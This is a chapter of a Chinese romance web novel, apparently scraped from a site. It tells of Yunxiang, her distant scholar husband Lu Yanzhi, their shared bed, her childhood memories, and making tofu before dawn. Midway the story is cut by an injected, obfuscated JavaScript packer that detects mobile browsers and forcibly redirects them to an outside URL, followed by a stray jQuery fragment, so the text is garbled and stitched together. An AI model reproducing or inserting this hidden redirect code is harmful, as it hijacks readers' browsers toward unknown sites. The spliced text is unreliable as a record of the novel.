云骧铺好床,床上是两床被子,二人一人一床。
云骧睡在最里侧,是以她先上了床榻睡在属于自己的那一半位置,陆衍之吹灭烛火,也上了床榻。
陆衍之睡相好,自躺下后,整夜皆可不翻动身,反倒是云骧睡不着,总得辗转反侧。
两人成亲初始,曾有一夜,云骧有一次翻过身,睁着眼睛望着漆黑屋顶,她实在睡不着。尤其是身侧躺着一个男子,尽管这个男子是自己名义上的夫君。
陆衍之被床榻的咯吱声吵得睡不着,他坐立起身,毫不客气地将云骧“推醒”。
云骧跟着坐起身,有些莫名其妙,“怎么了?”
“你吵到我了。”陆衍之道。
云骧自知理亏,缩了缩脖子,说:“我睡不着。”
“睡不着也躺着不许动。”陆衍之说。
那时云骧初来乍到陆家,心底里多多少少有点担心会惹陆衍之不快,虽然他仅比自己年长一岁多,平日里不苟言笑的面上仍带着少许被他藏下的稚气。
云骧“哦”了声,紧抿着唇规规矩矩躺下,顺带着两只手老老实实叠放在胸前,生怕自己再弄出个什么动静,惹得身侧之人不悦。
云骧等有好一会儿,才见着陆衍之终于放过她般地跟着躺下。
她这边睡姿时时刻刻都需自己克制,陆衍之从头到尾,全然是板正规矩。
久而久之,云骧夜里睡觉,潜意识里都带有“约束”的习惯,告诉自己不要乱动。
今夜月圆而明。
银色月辉透过未关紧的轩窗洒进来,投在床榻前的方寸之地。
浅淡光亮恰好够云骧静静看向已是睡熟的陆衍之。
陆衍之的鼻梁一直很是挺立,他的眉骨高,素日里绷着的眉头在夜里会舒展开来,少了醒时的凌厉,显出几分本该有的少年气息。
陆衍之长得最是好看,这是十年前垂柳镇三里村每个孩童都知道的事情。
三里村的孩子们自小在乡下长大,稚嫩面上被日头晒得又红又黑,身上衣服东一处西一处打了补丁不说,衣摆袖口处全是脏兮兮。
而十年前被祖母领着来到三里村的陆衍之和她们完全不一样,他的肤色白净细腻,身上穿的衣裳料子是她们从来没有见过的,第一次见就知道衣裳价格定是不菲。陆衍之的背脊挺立得很直,走起路来,小小年纪,周身已然是气度不凡。不像她们这些三里村的人,整日里佝偻着腰在田地里忙活,一点儿都不一样。
三里村小,一丁点的事情都可以被传得很远,尤其还是她们这些六七岁最是爱热闹的小孩。
云骧那时得空会跟着小伙伴偷偷假装从陆家门外路过过很多次,每次都想要认真瞧瞧这位跟着祖母新来三里村的人。
可惜陆家远门始终紧闭,云骧就见过陆老太太几次,知晓她们祖孙俩打算在三里村久住。
云骧这才知晓原来那位长得这么那么好看的小哥哥要一直待在三里村。那他会脱去舒适的衣裳换上粗布同她们一块儿干活吗?又或是同她们可以说上几句话。
或许,她们是不是能做朋友。
小时候的云骧很想和陆衍之做朋友,没有人不会喜欢长得好看的人,云骧不例外,陆衍之长得好看,所以她想要和他做朋友。
但一连整整两三个月,云骧除去第一次见祖母领着陆衍之来三里村外,一次未再见过陆衍之。
她偶时干活从陆家门外经过,听见从里面传来声声读书声。
“画凌烟,上甘泉,……”
云骧听不懂,但是从此刻明晓她们或许根本就做不成朋友,她每日得在田里干活,听爹娘的话,照顾阿弟。而陆衍之不一样,他祖母疼爱他,他每日里只在屋中读书就好。他怎么能懂得她们这些在三里村土生土长的孩童们的烦心事情呢。
云骧从回忆里抽出身,小时候的那点喜欢偷偷冒出来,望着躺在自己身侧的“夫君”,她鬼使神差伸出指尖,食指与他隔着一段距离,凭空勾勒他面上的起伏。
在云骧指尖方停在陆衍之的额上,陆衍之不知什么时候醒来睁开眼,两人视线在月色之中平静对上。
云骧立马尴尬缩回手,磕绊道:“你,你醒了啊?”
云骧怕陆衍之误会,又道:“我,我没有对你做什么,就是看见你额上好像是有个东西。”
陆衍之“嗯”了声,抬手自己用指尖擦拭下。
云骧心中松下一口气,躺平身子,隔了一会儿想起今日事却是久久睡不着,她知道陆衍之应是也没有睡着。
许是今夜格外宁静,云骧自个儿不知怎么回事,怔怔望向黑漆漆屋顶,开口道:“陆衍之,白日里我是不是不该去找你。”
良久,云骧听见身侧道,“我自己会回来。”
云骧侧过身,背对着陆衍之,“其实你和叶夫子的谈话,我今日全都听到了。”
“我知道你讨厌我,心底看不起我。我不像你们一样会认字识字,我不懂得任何的诗文,有时候你们读书人谈论到的事情,我半点都听不懂。”
“可是,陆衍之,你能不能试着看看我好的一面呢。我,我会绣帕子,会打络子,还会做布鞋,做饭也好吃,虽然你口味好像与我不太合,但祖母都可喜欢吃。”
云骧手指在被子里转了个圈,她继续用小到只有自己一个人能听得到的声音说:“所以,陆衍之,你可不可以不要那么讨厌我。”
她不敢奢求让陆衍之像她喜欢他那般喜欢她,但至少能不能不要像现在这般讨厌她,没有任何人的心是石头做的,日子久了,她也会难过。
“我会努力识字认字的。”
陆衍之又听见云骧这样道。
两个人背对着背,都看不见对方脸上是何种的神情,在宁静夜色之中,唇中道出的每一个字,胸腔里心脏跳动的每一下,都是异常清晰。
陆衍之若要说心中毫无动容,到底是不会。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445655|185091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不管怎么说,云骧的确一件未曾做错,挑剔的从始至终仅是他一人罢。
可与他而言,两人着实相差太远,如果不是祖母相求,他根本不会答应此事。
况且长安他是必要回去的,当初答应祖母不过是权宜之计。
陆衍之眼帘低垂,不愿回答云骧的问题,只是道:“睡了吧。”
云骧眨了眨酸涩的双眼,小声道:“好。”
-
因着晨间要去垂柳镇上卖豆腐,云骧与陆衍之平时皆是寅时起身,去到灶房中做豆腐。
豆腐工序复杂,需提前一晚浸泡上黄豆,第二日用石磨把泡好的黄豆磨成生豆浆糊,加入热水将生豆浆糊在纱布中过滤一遍,接着用锅煮沸,期间需不断搅拌,以免糊锅,最后待豆浆成熟舀出凝固脱模。
别的工序还好,唯独石磨磨豆费力,以往都是由陆衍之来。
云骧依着时辰醒来,没有在屋内看见陆衍之,下意识以为他去哪儿,直至灶房传来石磨转动的声音。
云骧简单收拾下,去到灶房里,天色未亮,灶台正中摆放着一根短烛,烛泪凝结了好一块。
云骧忽想到,家中没有多少蜡烛了。
陆衍之一手推着磨,一手拿着书在看。
“你这么早就醒来了?”云骧问。
陆衍之点头,因着云骧站的位置恰好挡住他书卷上的暗沉光亮,他皱起眉,换了个位置。
云骧察觉到陆衍之神情的变换,道:“你功课紧,我来吧。”
怕陆衍之不肯,云骧补充道:“你忙这么久,肯定累了,待会儿我累了,你再换我便是。”
“可以。”
灶房中仅一根蜡烛,陆衍之坐在离蜡烛近些的地方,低头认真看起书卷,修长手指翻过一页又一页。
云骧推石磨时,常常偷偷侧过头去看陆衍之。
陆衍之学问好云骧是知道的,且格外相信他两月后进京赶考定能取得功名,不枉他日夜辛苦近十年。
一想到以后陆衍之以后不用像现在这样每日天不亮就起来做豆腐,云骧唇边禁不住映出笑意。
“陆衍之。”
“怎么?”陆衍之抬起头来问。
云骧道:“你一定会中举的!”
“苦日子就最后两月,待你中举,你与我就不用再这么早起来做豆腐,祖母也可以享福了。”
陆衍之捻着书页的手持在半空之中半晌未动,面对云骧真挚的双眼,他内心里的复杂情绪翻过一涌又一涌,回望向云骧的眼神里难免多了抹猜疑的不屑。
成亲前,他不止与她说过一次,他不会喜欢她。
可她还是愿意来陆家,整整几个月来,他听出她话语间的期盼,见过她弯着腰劳累的场景。
从前他想过很多次的原因,或许是她的确不愿意嫁给长她十岁的屠户,又或许是他祖母给的聘礼更高,眼下,更或许是将来有一日他考取功名后,她亦能跟着轻松。